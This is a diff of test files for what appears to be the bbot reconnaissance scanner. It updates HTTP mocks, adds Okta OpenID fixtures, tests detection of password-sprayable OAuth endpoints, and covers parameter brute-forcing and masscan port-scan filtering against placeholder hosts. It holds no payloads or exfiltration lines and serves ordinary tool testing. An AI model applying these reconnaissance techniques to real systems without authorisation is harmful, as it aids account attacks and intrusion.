+            "[INF] nuclei-templates are not installed, installing...\n[INF] Successfully installed nuclei-templates at /tmp/x"
+        )
+        == "updated"
+    )
+    # Version bump (newer phrasing).
+    assert c("[INF] Successfully updated nuclei-templates (v10.4.3) to /tmp/x. GoodLuck!") == "updated"
+    # Legacy phrasing — kept for older nuclei builds.
+    assert c("[INF] Successfully downloaded nuclei-templates") == "updated"
+    # Already up-to-date.
+    assert c("[INF] No new updates found for nuclei templates") == "up-to-date"
+    # Benign first-run noise must NOT trick us into reporting success.
+    assert c("[ERR] Could not copy nuclei ignore file ...: source file doesn't exist") == "failure"
+    # Empty / None stderr → failure (process produced nothing).
+    assert c("") == "failure"
+    assert c(None) == "failure"
+
+
 class TestNucleiCustomHeaders(TestNucleiManual):
     custom_headers = {"testheader1": "test1", "testheader2": "test2"}
     config_overrides = TestNucleiManual.config_overrides
diff --git a/bbot/test/test_step_2/module_tests/test_module_oauth.py b/bbot/test/test_step_2/module_tests/test_module_oauth.py
index 494bfea30d..0db3d48ca1 100644
--- a/bbot/test/test_step_2/module_tests/test_module_oauth.py
+++ b/bbot/test/test_step_2/module_tests/test_module_oauth.py
@@ -4,7 +4,7 @@
 class TestOAUTH(ModuleTestBase):
     targets = ["evilcorp.com"]
     config_overrides = {"scope": {"report_distance": 1}, "omit_event_types": []}
-    modules_overrides = ["oauth"]
+    modules_overrides = ["azure_tenant", "oauth"]
     openid_config_azure = {
         "token_endpoint": "https://login.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/oauth2/token",
         "token_endpoint_auth_methods_supported": ["client_secret_post", "private_key_jwt", "client_secret_basic"],
@@ -49,14 +49,168 @@ class TestOAUTH(ModuleTestBase):
         "msgraph_host": "graph.microsoft.com",
         "rbac_url": "https://pas.windows.net",
     }
+    openid_config_okta = {
+        "issuer": "https://evilcorp.okta.com",
+        "authorization_endpoint": "https://evilcorp.okta.com/oauth2/v1/authorize",
+        "token_endpoint": "https://evilcorp.okta.com/oauth2/v1/token",
+        "userinfo_endpoint": "https://evilcorp.okta.com/oauth2/v1/userinfo",
+        "registration_endpoint": "https://evilcorp.okta.com/oauth2/v1/clients",
+        "jwks_uri": "https://evilcorp.okta.com/oauth2/v1/keys",
+        "response_types_supported": [
+            "code",
+            "id_token",
+            "code id_token",
+            "code token",
+            "id_token token",
+            "code id_token token",
+        ],
+        "response_modes_supported": ["query", "fragment", "form_post", "okta_post_message"],
+        "grant_types_supported": [
+            "authorization_code",
+            "implicit",
+            "refresh_token",
+            "password",
+            "urn:ietf:params:oauth:grant-type:device_code",
+            "urn:openid:params:grant-type:ciba",
+        ],
+        "subject_types_supported": ["public"],
+        "id_token_signing_alg_values_supported": ["RS256"],
+        "scopes_supported": ["openid", "email", "profile", "address", "phone", "offline_access", "groups"],
+        "token_endpoint_auth_methods_supported": [
+            "client_secret_basic",
+            "client_secret_post",
+            "client_secret_jwt",
+            "private_key_jwt",
+            "none",
+        ],
+        "claims_supported": [
+            "iss",
+            "ver",
+            "sub",
+            "aud",
+            "iat",
+            "exp",
+            "jti",
+            "auth_time",
+            "amr",
+            "idp",
+            "nonce",
+            "name",
+            "nickname",
+            "preferred_username",
+            "given_name",
+            "middle_name",
+            "family_name",
+            "email",
+            "email_verified",
+            "profile",
+            "zoneinfo",
+            "locale",
+            "address",
+            "phone_number",
+            "picture",
+            "website",
+            "gender",
+            "birthdate",
+            "updated_at",
+            "at_hash",
+            "c_hash",
+        ],
+        "code_challenge_methods_supported": ["S256"],
+        "introspection_endpoint": "https://evilcorp.okta.com/oauth2/v1/introspect",
+        "introspection_endpoint_auth_methods_supported": [
+            "client_secret_basic",
+            "client_secret_post",
+            "client_secret_jwt",
+            "private_key_jwt",
+            "none",
+        ],
+        "revocation_endpoint": "https://evilcorp.okta.com/oauth2/v1/revoke",
+        "revocation_endpoint_auth_methods_supported": [
+            "client_secret_basic",
+            "client_secret_post",
+            "client_secret_jwt",
+            "private_key_jwt",
+            "none",
+        ],
+        "end_session_endpoint": "https://evilcorp.okta.com/oauth2/v1/logout",
+        "request_parameter_supported": True,
+        "request_object_signing_alg_values_supported": [
+            "HS256",
+            "HS384",
+            "HS512",
+            "RS256",
+            "RS384",
+            "RS512",
+            "ES256",
+            "ES384",
+            "ES512",
+        ],
+        "device_authorization_endpoint": "https://evilcorp.okta.com/oauth2/v1/device/authorize",
+        "pushed_authorization_request_endpoint": "https://evilcorp.okta.com/oauth2/v1/par",
+        "backchannel_token_delivery_modes_supported": ["poll"],
+        "backchannel_authentication_request_signing_alg_values_supported": [
+            "HS256",
+            "HS384",
+            "HS512",
+            "RS256",
+            "RS384",
+            "RS512",
+            "ES256",
+            "ES384",
+            "ES512",
+        ],
+    }
 
     async def setup_after_prep(self, module_test):
         await module_test.mock_dns({"evilcorp.com": {"A": ["127.0.0.1"]}})
-        module_test.httpx_mock.add_response(
+
+        # azure_tenant mocks
+        module_test.blasthttp_mock.add_response(
+            url="https://azmap.dev/api/tenant?domain=evilcorp.com&extract=true",
+            json={
+                "tenant_id": "cc74fc12-4142-400e-a653-f98bdeadbeef",
+                "tenant_name": "evilcorp",
+                "email_domains": ["evilcorp.com"],
+            },
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=evilcorp.com",
+            json={},
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/evilcorp.com/.well-known/openid-configuration",
+            json={},
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/GetCredentialType",
+            method="POST",
+            json={
+                "Credentials": {
+                    "FederationRedirectUrl": "https://evilcorp.okta.com/app/office365/deadbeef/sso/wsfed/passive",
+                },
+                "EstsProperties": {},
+            },
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/userrealm/test@evilcorp.com?api-version=2.0",
+            json={},
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://mta-sts.evilcorp.com/.well-known/mta-sts.txt",
+            status_code=404,
+        )
+
+        # oauth module mocks
+        module_test.blasthttp_mock.add_response(
             url="https://login.windows.net/evilcorp.com/.well-known/openid-configuration",
             json=self.openid_config_azure,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
+            url="https://evilcorp.okta.com/.well-known/openid-configuration",
+            json=self.openid_config_okta,
+        )
+        module_test.blasthttp_mock.add_response(
             url="https://login.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/oauth2/token",
             json={
                 "error": "invalid_grant",
@@ -69,6 +223,17 @@ async def setup_after_prep(self, module_test):
             },
             status_code=400,
         )
+        module_test.blasthttp_mock.add_response(
+            url="https://evilcorp.okta.com/oauth2/v1/token",
+            json={
+                "errorCode": "invalid_client",
+                "errorSummary": "Invalid value for 'client_id' parameter.",
+                "errorLink": "invalid_client",
+                "errorId": "oae06YVQDq4Qz-WEuP3dU14XQ",
+                "errorCauses": [],
+            },
+            status_code=400,
+        )
 
     def check(self, module_test, events):
         assert any(
@@ -77,10 +242,22 @@ def check(self, module_test, events):
             == "OpenID Connect Endpoint (domain: evilcorp.com) found at https://login.windows.net/evilcorp.com/.well-known/openid-configuration"
             for e in events
         )
+        assert any(
+            e.type == "FINDING"
+            and e.data["description"]
+            == "OpenID Connect Endpoint (domain: evilcorp.com) found at https://evilcorp.okta.com/.well-known/openid-configuration"
+            for e in events
+        )
         assert any(
             e.type == "FINDING"
             and e.data["description"]
             == "Potentially Sprayable OAUTH Endpoint (domain: evilcorp.com) at https://login.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/oauth2/token"
             for e in events
         )
-        assert any(e.data == "https://sts.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/" for e in events)
+        assert any(
+            e.type == "FINDING"
+            and e.data["description"]
+            == "Potentially Sprayable OAUTH Endpoint (domain: evilcorp.com) at https://evilcorp.okta.com/oauth2/v1/token"
+            for e in events
+        )
+        assert any(e.url == "https://sts.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/" for e in events)
diff --git a/bbot/test/test_step_2/module_tests/test_module_otx.py b/bbot/test/test_step_2/module_tests/test_module_otx.py
index 9ce6a1a0db..33b4ef9016 100644
--- a/bbot/test/test_step_2/module_tests/test_module_otx.py
+++ b/bbot/test/test_step_2/module_tests/test_module_otx.py
@@ -5,7 +5,7 @@ class TestOTX(ModuleTestBase):
     config_overrides = {"modules": {"otx": {"api_key": "test"}}}
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://otx.alienvault.com/api/v1/indicators/domain/blacklanternsecurity.com/passive_dns",
             json={
                 "passive_dns": [
diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_cookies.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_cookies.py
index 6c4ecda526..4efd63c847 100644
--- a/bbot/test/test_step_2/module_tests/test_module_paramminer_cookies.py
+++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_cookies.py
@@ -2,7 +2,7 @@
 
 
 class TestParamminer_Cookies(Paramminer_Headers):
-    modules_overrides = ["httpx", "paramminer_cookies"]
+    modules_overrides = ["http", "paramminer_cookies"]
     config_overrides = {"modules": {"paramminer_cookies": {"wordlist": tempwordlist(["junkcookie", "admincookie"])}}}
 
     cookies_body = """
diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py
index 554d617422..5c0aca69d7 100644
--- a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py
+++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py
@@ -2,7 +2,7 @@
 
 
 class TestParamminer_Getparams(Paramminer_Headers):
-    modules_overrides = ["httpx", "paramminer_getparams"]
+    modules_overrides = ["http", "paramminer_getparams"]
     config_overrides = {"modules": {"paramminer_getparams": {"wordlist": tempwordlist(["canary", "id"])}}}
 
     getparam_body = """
@@ -116,7 +116,7 @@ def check(self, module_test, events):
 
 
 class TestParamminer_Getparams_finish(Paramminer_Headers):
-    modules_overrides = ["httpx", "excavate", "paramminer_getparams"]
+    modules_overrides = ["http", "excavate", "paramminer_getparams"]
     config_overrides = {
         "modules": {"paramminer_getparams": {"wordlist": tempwordlist(["canary", "canary2"]), "recycle_words": True}}
     }
@@ -192,7 +192,7 @@ def check(self, module_test, events):
 
 class TestParamminer_Getparams_xmlspeculative(Paramminer_Headers):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "paramminer_getparams"]
+    modules_overrides = ["http", "excavate", "paramminer_getparams"]
     config_overrides = {
         "modules": {
             "excavate": {"speculate_params": True},
@@ -258,24 +258,32 @@ class TestParamminer_Getparams_filter_static(TestParamminer_Getparams_finish):
     """
 
     def check(self, module_test, events):
-        found_hidden_getparam_recycled = False
-        emitted_excavate_paramminer_duplicate = False
+        excavate_extracted_param = False
+        paramminer_recycled_to_php = False
+        paramminer_bruted_pdf = False
 
         for e in events:
             if e.type == "WEB_PARAMETER":
+                if (
+                    "http://127.0.0.1:8888/test2.pdf" in e.data["url"]
+                    and "HTTP Extracted Parameter [abcd1234]" in e.data["description"]
+                ):
+                    excavate_extracted_param = True
+
                 if (
                     "http://127.0.0.1:8888/test1.php" in e.data["url"]
-                    and "[Paramminer] Getparam: [abcd1234] Reasons: [body] Reflection: [False]"
-                    in e.data["description"]
+                    and "[Paramminer] Getparam: [abcd1234]" in e.data["description"]
                 ):
-                    found_hidden_getparam_recycled = True
+                    paramminer_recycled_to_php = True
 
                 if (
                     "http://127.0.0.1:8888/test2.pdf" in e.data["url"]
-                    and "[Paramminer] Getparam: [abcd1234] Reasons: [body] Reflection: [False]"
-                    in e.data["description"]
+                    and "[Paramminer] Getparam:" in e.data["description"]
                 ):
-                    emitted_excavate_paramminer_duplicate = True
+                    paramminer_bruted_pdf = True
 
-        assert found_hidden_getparam_recycled, "Failed to find hidden GET parameter"
-        assert not emitted_excavate_paramminer_duplicate, "Paramminer emitted parameter for static URL"
+        # Excavate still extracts the param from the link, but paramminer's filter_event
+        # drops the WEB_PARAMETER because .pdf is in url_extension_static
+        assert excavate_extracted_param, "Excavate should still extract the parameter from the HTML link"
+        assert not paramminer_recycled_to_php, "Paramminer should not recycle words from static-URL WEB_PARAMETERs"
+        assert not paramminer_bruted_pdf, "Paramminer should not brute-force parameters on static URLs"
diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py
index 6ca649510b..846efa177f 100644
--- a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py
+++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py
@@ -5,7 +5,7 @@
 
 class Paramminer_Headers(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "paramminer_headers"]
+    modules_overrides = ["http", "paramminer_headers"]
     config_overrides = {"modules": {"paramminer_headers": {"wordlist": tempwordlist(["junkword1", "tracestate"])}}}
 
     headers_body = """
@@ -80,7 +80,7 @@ def check(self, module_test, events):
 
 
 class TestParamminer_Headers_extract(Paramminer_Headers):
-    modules_overrides = ["httpx", "paramminer_headers", "excavate"]
+    modules_overrides = ["http", "paramminer_headers", "excavate"]
     config_overrides = {
         "modules": {
             "paramminer_headers": {"wordlist": tempwordlist(["junkword1", "tracestate"]), "recycle_words": True}
@@ -135,7 +135,7 @@ def check(self, module_test, events):
 
 
 class TestParamminer_Headers_extract_norecycle(TestParamminer_Headers_extract):
-    modules_overrides = ["httpx", "excavate"]
+    modules_overrides = ["http", "excavate"]
     config_overrides = {}
 
     async def setup_after_prep(self, module_test):
@@ -197,3 +197,112 @@ def check(self, module_test, events):
 
         assert found_web_parameter, "WEB_PARAMETER event was not emitted"
         assert not found_web_parameter_false_positive, "WEB_PARAMETER event was emitted with false positive"
+
+
+class TestParamminerHeadersWildcardSkip(ModuleTestBase):
+    """When the host is an HTTP wildcard, paramminer_headers should skip fuzzing entirely."""
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "paramminer_headers"]
+    config_overrides = {"modules": {"paramminer_headers": {"wordlist": tempwordlist(["tracestate"])}}}
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": "<html><body>hello</body></html>"},
+        )
+
+    async def setup_after_prep(self, module_test):
+        async def mock_wildcard(scheme, host, port):
+            return True
+
+        module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard
+
+    def check(self, module_test, events):
+        web_params = [e for e in events if e.type == "WEB_PARAMETER" and str(e.module) == "paramminer_headers"]
+        assert len(web_params) == 0, f"paramminer_headers should not fuzz wildcard hosts, but emitted: {web_params}"
+
+
+class TestParamminerHeadersDedupValueMutations(Paramminer_Headers):
+    """Value mutations of the same parameter set on the same endpoint should collapse to one test surface."""
+
+    async def setup_after_prep(self, module_test):
+        await super().setup_after_prep(module_test)
+        pm = module_test.scan.modules["paramminer_headers"]
+
+        def make_wp(**kwargs):
+            defaults = {"host": "127.0.0.1:8888", "type": "GETPARAM", "original_value": "x"}
+            defaults.update(kwargs)
+            return module_test.scan.make_event(defaults, "WEB_PARAMETER", dummy=True)
+
+        def make_hr(url):
+            return module_test.scan.make_event(
+                {
+                    "url": url,
+                    "status_code": 200,
+                    "header-dict": {},
+                    "body": "",
+                    "raw_header": "HTTP/1.1 200 OK\r\n\r\n",
+                    "method": "GET",
+                },
+                "HTTP_RESPONSE",
+                dummy=True,
+            )
+
+        # same endpoint, same param keys, different values (simulates lightfuzz probe cycling)
+        hash_a, _ = pm._incoming_dedup_hash(
+            make_wp(
+                url="http://127.0.0.1:8888/page?culture=probe_a&page=1",
+                name="culture",
+                additional_params={"page": "1"},
+            )
+        )
+        hash_b, _ = pm._incoming_dedup_hash(
+            make_wp(
+                url="http://127.0.0.1:8888/page?culture=probe_b&page=2",
+                name="culture",
+                additional_params={"page": "2"},
+            )
+        )
+        assert hash_a == hash_b, "Value mutations of same param keys should produce same dedup hash"
+
+        # different param keys on same path -> distinct
+        hash_c, _ = pm._incoming_dedup_hash(
+            make_wp(
+                url="http://127.0.0.1:8888/page?culture=x&page=1&csrf=tok",
+                name="culture",
+                additional_params={"page": "1", "csrf": "tok"},
+            )
+        )
+        assert hash_a != hash_c, "Different param key sets should produce different dedup hashes"
+
+        # different path, same keys -> distinct
+        hash_d, _ = pm._incoming_dedup_hash(
+            make_wp(
+                url="http://127.0.0.1:8888/other?culture=x&page=1",
+                name="culture",
+                additional_params={"page": "1"},
+            )
+        )
+        assert hash_a != hash_d, "Same param keys on different paths should produce different dedup hashes"
+
+        # different focus name, same sibling keys (excavate emits one WP per param) -> distinct
+        hash_e, _ = pm._incoming_dedup_hash(
+            make_wp(
+                url="http://127.0.0.1:8888/page?culture=x&page=1",
+                name="page",
+                additional_params={"culture": "x"},
+            )
+        )
+        assert hash_a != hash_e, "Different focus name with same siblings should produce different dedup hashes"
+
+        # HTTP_RESPONSE events: same endpoint collapses regardless
+        hash_hr_a, _ = pm._incoming_dedup_hash(make_hr("http://127.0.0.1:8888/page"))
+        hash_hr_b, _ = pm._incoming_dedup_hash(make_hr("http://127.0.0.1:8888/page"))
+        assert hash_hr_a == hash_hr_b, "HTTP_RESPONSE events for same endpoint should produce same dedup hash"
+
+        # WEB_PARAMETER and HTTP_RESPONSE for same URL should NOT collide
+        assert hash_a != hash_hr_a, "WEB_PARAMETER and HTTP_RESPONSE should not share dedup hashes"
+
+    def check(self, module_test, events):
+        super().check(module_test, events)
diff --git a/bbot/test/test_step_2/module_tests/test_module_pgp.py b/bbot/test/test_step_2/module_tests/test_module_pgp.py
index dc493d7b52..aa1ce3f237 100644
--- a/bbot/test/test_step_2/module_tests/test_module_pgp.py
+++ b/bbot/test/test_step_2/module_tests/test_module_pgp.py
@@ -26,7 +26,7 @@ class TestPGP(ModuleTestBase):
 </body></html>"""
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=blacklanternsecurity.com",
             text=self.web_body,
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_portfilter.py b/bbot/test/test_step_2/module_tests/test_module_portfilter.py
index 605761debb..7dcaaad449 100644
--- a/bbot/test/test_step_2/module_tests/test_module_portfilter.py
+++ b/bbot/test/test_step_2/module_tests/test_module_portfilter.py
@@ -4,7 +4,7 @@
 class TestPortfilter_disabled(ModuleTestBase):
     modules_overrides = []
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         from bbot.modules.base import BaseModule
 
         class DummyModule(BaseModule):
@@ -17,14 +17,14 @@ async def handle_event(self, event):
                         "www.blacklanternsecurity.com:443",
                         "OPEN_TCP_PORT",
                         parent=event,
-                        tags=["cdn-ip", "cdn-amazon"],
+                        tags=["cdn", "amazon"],
                     )
                     # when portfilter is enabled, this should be filtered out
                     await self.emit_event(
                         "www.blacklanternsecurity.com:8080",
                         "OPEN_TCP_PORT",
                         parent=event,
-                        tags=["cdn-ip", "cdn-amazon"],
+                        tags=["cdn", "amazon"],
                     )
                     await self.emit_event("www.blacklanternsecurity.com:21", "OPEN_TCP_PORT", parent=event)
 
@@ -43,8 +43,8 @@ class TestPortfilter_enabled(TestPortfilter_disabled):
     modules_overrides = ["portfilter"]
 
     def check(self, module_test, events):
-        # even though portfilter listens for URLs, enabling it should not automatically enable httpx
-        assert "httpx" not in module_test.scan.modules
+        # even though portfilter listens for URLs, enabling it should not automatically enable http module
+        assert "http" not in module_test.scan.modules
         open_ports = {event.data for event in events if event.type == "OPEN_TCP_PORT"}
         # we should be missing the 8080 port because it's a CDN and not in portfilter's allowed list of open ports
         assert open_ports == {"www.blacklanternsecurity.com:443", "www.blacklanternsecurity.com:21"}
diff --git a/bbot/test/test_step_2/module_tests/test_module_portscan.py b/bbot/test/test_step_2/module_tests/test_module_portscan.py
index 2f904e90eb..85a1caecdd 100644
--- a/bbot/test/test_step_2/module_tests/test_module_portscan.py
+++ b/bbot/test/test_step_2/module_tests/test_module_portscan.py
@@ -74,18 +74,20 @@ async def run_masscan(command, *args, **kwargs):
         module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", run_masscan)
 
     def check(self, module_test, events):
-        assert set(self.syn_scanned) == {"8.8.8.0/24", "8.8.4.0/24"}
+        # The /24 ranges must always be syn-scanned; individual /32s may also appear
+        # if async event delivery splits targets across multiple batches (observed on Python 3.13+)
+        assert {"8.8.8.0/24", "8.8.4.0/24"}.issubset(set(self.syn_scanned))
         assert set(self.ping_scanned) == set()
         assert self.syn_runs >= 1
         assert self.ping_runs == 0
         assert 1 == len(
-            [e for e in events if e.type == "DNS_NAME" and e.data == "evilcorp.com" and str(e.module) == "TARGET"]
+            [e for e in events if e.type == "DNS_NAME" and e.data == "evilcorp.com" and str(e.module) == "SEED"]
         )
         assert 1 == len(
-            [e for e in events if e.type == "DNS_NAME" and e.data == "www.evilcorp.com" and str(e.module) == "TARGET"]
+            [e for e in events if e.type == "DNS_NAME" and e.data == "www.evilcorp.com" and str(e.module) == "SEED"]
         )
         assert 1 == len(
-            [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.evilcorp.net" and str(e.module) == "TARGET"]
+            [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.evilcorp.net" and str(e.module) == "SEED"]
         )
         assert 1 == len(
             [
@@ -131,7 +133,9 @@ class TestPortscanPingFirst(TestPortscan):
 
     def check(self, module_test, events):
         assert set(self.syn_scanned) == {"8.8.8.8/32"}
-        assert set(self.ping_scanned) == {"8.8.8.0/24", "8.8.4.0/24"}
+        # The /24 ranges must always be ping-scanned; individual /32s may also appear
+        # if async event delivery splits targets across multiple batches (observed on Python 3.14+)
+        assert {"8.8.8.0/24", "8.8.4.0/24"}.issubset(set(self.ping_scanned))
         assert self.syn_runs == 1
         assert self.ping_runs >= 1
         open_port_events = [e for e in events if e.type == "OPEN_TCP_PORT"]
@@ -155,3 +159,85 @@ def check(self, module_test, events):
         ip_events = [e for e in events if e.type == "IP_ADDRESS"]
         assert len(ip_events) == 1
         assert {e.data for e in ip_events} == {"8.8.8.8"}
+
+
+class TestPortscanSkipTags(ModuleTestBase):
+    targets = ["cloudflare-host.com", "regular-host.com"]
+    modules_overrides = ["portscan", "speculate", "cloudcheck"]
+    config_overrides = {
+        "modules": {"portscan": {"ports": "443", "wait": 1, "skip_tags": "cdn,waf"}},
+        "dns": {"minimal": False},
+    }
+
+    masscan_output = """{   "ip": "8.8.8.8",   "timestamp": "1680197558", "ports": [ {"port": 443, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54} ] }"""
+
+    async def setup_after_prep(self, module_test):
+        from bbot.modules.base import BaseModule
+
+        class DummyOpenPortConsumer(BaseModule):
+            _name = "dummy_open_port_consumer"
+            watched_events = ["OPEN_TCP_PORT"]
+            scope_distance_modifier = 10
+            accept_dupes = True
+
+            async def setup(self):
+                self.events = []
+                return True
+
+            async def handle_event(self, event):
+                self.events.append(event)
+
+        consumer = DummyOpenPortConsumer(module_test.scan)
+        await consumer.setup()
+        module_test.scan.modules["dummy_open_port_consumer"] = consumer
+
+        # speculate's open_port_consumers is decided during its own setup, before
+        # we attach the dummy here. Flip it now so the per-event fallback path
+        # actually runs.
+        module_test.scan.modules["speculate"].open_port_consumers = True
+
+        # Cloudflare-resolving hostname will get tagged 'waf' (and 'cloudflare') by cloudcheck;
+        # the other points at a Google IP which is tagged 'cloud' only -> not in skip_tags.
+        await module_test.mock_dns(
+            {
+                "cloudflare-host.com": {"A": ["1.1.1.1"]},
+                "regular-host.com": {"A": ["8.8.8.8"]},
+            }
+        )
+
+        self.syn_scanned = []
+        self.syn_runs = 0
+
+        async def run_masscan(command, *args, **kwargs):
+            if "masscan" in command[:2]:
+                targets = open(command[11]).read().splitlines()
+                yield "["
+                self.syn_runs += 1
+                self.syn_scanned += targets
+                yield self.masscan_output
+                yield "]"
+            else:
+                async for line in module_test.scan.helpers.run_live(command, *args, **kwargs):
+                    yield line
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", run_masscan)
+
+    def check(self, module_test, events):
+        # cloudflare IP was NOT submitted to masscan
+        assert not any("1.1.1.1" in t for t in self.syn_scanned), (
+            f"cloudflare IP leaked into masscan targets: {self.syn_scanned}"
+        )
+        # google IP (non-skip-tagged) WAS submitted to masscan
+        assert any("8.8.8.8" in t for t in self.syn_scanned), (
+            f"non-cdn IP missing from masscan targets: {self.syn_scanned}"
+        )
+        assert self.syn_runs >= 1
+
+        # speculate emits its OPEN_TCP_PORT fillers as internal events, which don't
+        # reach output modules. Inspect them directly via the dummy consumer.
+        consumer_seen = {(str(e.host), e.port) for e in module_test.scan.modules["dummy_open_port_consumer"].events}
+        assert ("cloudflare-host.com", 80) in consumer_seen
+        assert ("cloudflare-host.com", 443) in consumer_seen
+        # the non-skipped host: portscan emitted 443 (real, non-internal), no speculated 80
+        assert ("regular-host.com", 443) in consumer_seen
+        assert ("regular-host.com", 80) not in consumer_seen
diff --git a/bbot/test/test_step_2/module_tests/test_module_postgres.py b/bbot/test/test_step_2/module_tests/test_module_postgres.py
index ea6c00210c..8c52eabebe 100644
--- a/bbot/test/test_step_2/module_tests/test_module_postgres.py
+++ b/bbot/test/test_step_2/module_tests/test_module_postgres.py
@@ -1,4 +1,3 @@
-import time
 import asyncio
 
 from .base import ModuleTestBase
@@ -25,27 +24,8 @@ async def setup_before_prep(self, module_test):
             "postgres",
         )
 
-        import asyncpg
-
         # wait for the container to start
-        start_time = time.time()
-        while True:
-            try:
-                # Connect to the default 'postgres' database to create 'bbot'
-                conn = await asyncpg.connect(
-                    user="postgres", password="bbotislife", database="postgres", host="127.0.0.1"
-                )
-                await conn.execute("CREATE DATABASE bbot")
-                await conn.close()
-                break
-            except asyncpg.exceptions.DuplicateDatabaseError:
-                # If the database already exists, break the loop
-                break
-            except Exception as e:
-                if time.time() - start_time > 60:  # timeout after 60 seconds
-                    self.log.error("PostgreSQL server did not start in time.")
-                    raise e
-                await asyncio.sleep(1)
+        await self.wait_for_port_open(5432)
 
         if process.returncode != 0:
             self.log.error("Failed to start PostgreSQL server")
diff --git a/bbot/test/test_step_2/module_tests/test_module_postman.py b/bbot/test/test_step_2/module_tests/test_module_postman.py
index 9f9fc4c2b3..29756f4b0c 100644
--- a/bbot/test/test_step_2/module_tests/test_module_postman.py
+++ b/bbot/test/test_step_2/module_tests/test_module_postman.py
@@ -6,7 +6,7 @@ class TestPostman(ModuleTestBase):
     modules_overrides = ["postman", "speculate"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/me",
             match_headers={"X-Api-Key": "asdf"},
             json={
@@ -43,7 +43,7 @@ async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {"blacklanternsecurity.com": {"A": ["127.0.0.99"]}, "github.com": {"A": ["127.0.0.99"]}}
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "search",
@@ -190,7 +190,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "workspaces",
@@ -224,7 +224,7 @@ async def setup_after_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "workspaces",
@@ -258,7 +258,7 @@ async def setup_after_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/workspaces/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b",
             match_headers={"X-Api-Key": "asdf"},
             json={
@@ -290,7 +290,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/workspaces/a4dfe981-2593-4f0b-b4c3-5145e8640f7d",
             json={
                 "workspace": {
@@ -315,7 +315,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/workspace/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b/globals",
             json={
                 "model_id": "8be7574b-219f-49e0-8d25-da447a882e4e",
@@ -337,7 +337,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/workspace/a4dfe981-2593-4f0b-b4c3-5145e8640f7d/globals",
             json={
                 "model_id": "8be7574b-219f-49e0-8d25-da447a882e4e",
@@ -353,7 +353,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/environments/10197090-f770f816-9c6a-40f7-bde3-c0855d2a1089",
             match_headers={"X-Api-Key": "asdf"},
             json={
@@ -374,7 +374,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/collections/10197090-2aab9fd0-3715-4abe-8bb0-8cb0264d023f",
             match_headers={"X-Api-Key": "asdf"},
             json={
